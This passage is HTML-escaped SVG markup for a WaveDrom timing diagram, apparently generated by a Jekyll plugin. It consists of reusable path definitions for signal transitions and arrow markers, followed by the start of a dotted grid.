&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 7,8&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 20,0 C 10,20 7,10 3,0&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 3,0 C 10,10 15,10 20,10 15,10 10,10 3,20 L 0,20&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M2.875,0 20,0 20,20 9,20 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 3.5,1.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 4.5,5.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,0 20,0 20,20 9,20 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m6,10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M2.875,0 20,0 20,20 9,20 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 3.5,1.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 4.5,5.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,0 20,0 20,20 9,20 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m6,10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M20,20 0,20 0,0 20,0&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,20 0,0 3,0 9,20&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M0,0 3,0 9,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 9,0&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 6,10 3,0&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 7,8&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 20,0 C 10,20 7,10 3,0&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 3,0 C 10,10 15,10 20,10 15,10 10,10 3,20 L 0,20&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M20,20 0,20 0,0 20,0&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,20 0,0 3,0 9,20&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M0,0 3,0 9,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 9,0&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 6,10 3,0&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 7,8&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 20,0 C 10,20 7,10 3,0&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 3,0 C 10,10 15,10 20,10 15,10 10,10 3,20 L 0,20&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M-3,12 0,3 3,12 C 1,11 -1,11 -3,12 z&quot; class=&quot;s9&quot; /&gt;
&lt;path d=&quot;M0,20 0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M-3,8 0,17 3,8 C 1,9 -1,9 -3,8 z&quot; class=&quot;s9&quot; /&gt;
&lt;path d=&quot;m0,0 0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgf&quot;&gt;
&lt;path d=&quot;M20,20 0,20 0,0 20,0&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgg&quot;&gt;
&lt;path d=&quot;M0,20 0,0 3,0 9,20&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M0,0 3,0 9,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svgh&quot;&gt;
&lt;path d=&quot;M0,0 0,20 3,20 9,0&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 0,20 3,20 6,10 3,0&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m20,15 -5,5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,10 10,20&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,5 8,17&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M20,0 7,13&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M15,0 7,8&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M10,0 9,1&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 20,0 C 10,20 7,10 3,0&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 4,10 7,20 17,20&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m0,0 0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 7,10 10,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M0,0 3,0 C 10,10 15,10 20,10 15,10 10,10 3,20 L 0,20&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 c 7,10 12,10 17,10&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 3,0 C 10,10 15,10 20,10&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g id=&quot;jekyll-wavedrom20210109-996132-6snqtp.svge&quot;&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M2.875,0 20,0 20,20 9,20 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,5 3.5,1.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,10 4.5,5.5&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,15 6,9&quot; class=&quot;s2&quot; /&gt;
&lt;path d=&quot;M0,20 4,16&quot; class=&quot;s2&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 3,20 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;m0,20 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M3,0 20,0 20,20 9,20 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m6,10 3,10 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,10 6,10 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s6&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s7&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s8&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;M9,0 20,0 20,20 9,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;M3,0 0,0 0,20 3,20 6,10 z&quot; class=&quot;s10&quot; /&gt;
&lt;path d=&quot;m0,0 3,0 6,20 11,0&quot; class=&quot;s1&quot; /&gt;
&lt;path d=&quot;M0,20 3,20 9,0 20,0&quot; class=&quot;s1&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;path d=&quot;m-12,-3 9,3 -9,3 c 1,-2 1,-4 0,-6 z&quot; class=&quot;s11&quot; /&gt;
&lt;path d=&quot;M0,0 -15,0&quot; class=&quot;s12&quot; /&gt;
&lt;/g&gt;
&lt;marker style=&quot;fill:#0041c4&quot; markerHeight=&quot;7&quot; markerWidth=&quot;10&quot; markerUnits=&quot;strokeWidth&quot; viewBox=&quot;0 -4 11 8&quot; refX=&quot;15&quot; refY=&quot;0&quot; orient=&quot;auto&quot;&gt;
&lt;path d=&quot;M0 -4 11 0 0 4z&quot; /&gt;
&lt;/marker&gt;
&lt;marker style=&quot;fill:#0041c4&quot; markerHeight=&quot;7&quot; markerWidth=&quot;10&quot; markerUnits=&quot;strokeWidth&quot; viewBox=&quot;-11 -4 11 8&quot; refX=&quot;-15&quot; refY=&quot;0&quot; orient=&quot;auto&quot;&gt;
&lt;path d=&quot;M0 -4 -11 0 0 4z&quot; /&gt;
&lt;/marker&gt;
&lt;/defs&gt;
&lt;g&gt;
&lt;g transform=&quot;translate(60.5, 0.5)&quot;&gt;
&lt;g&gt;
&lt;path d=&quot;m 0,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 40,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 80,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 120,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 160,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 200,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 240,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 280,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 320,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 360,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 400,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 440,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 480,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 520,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 560,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 600,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 640,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 680,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 720,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 760,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 800,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 840,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 880,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 920,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
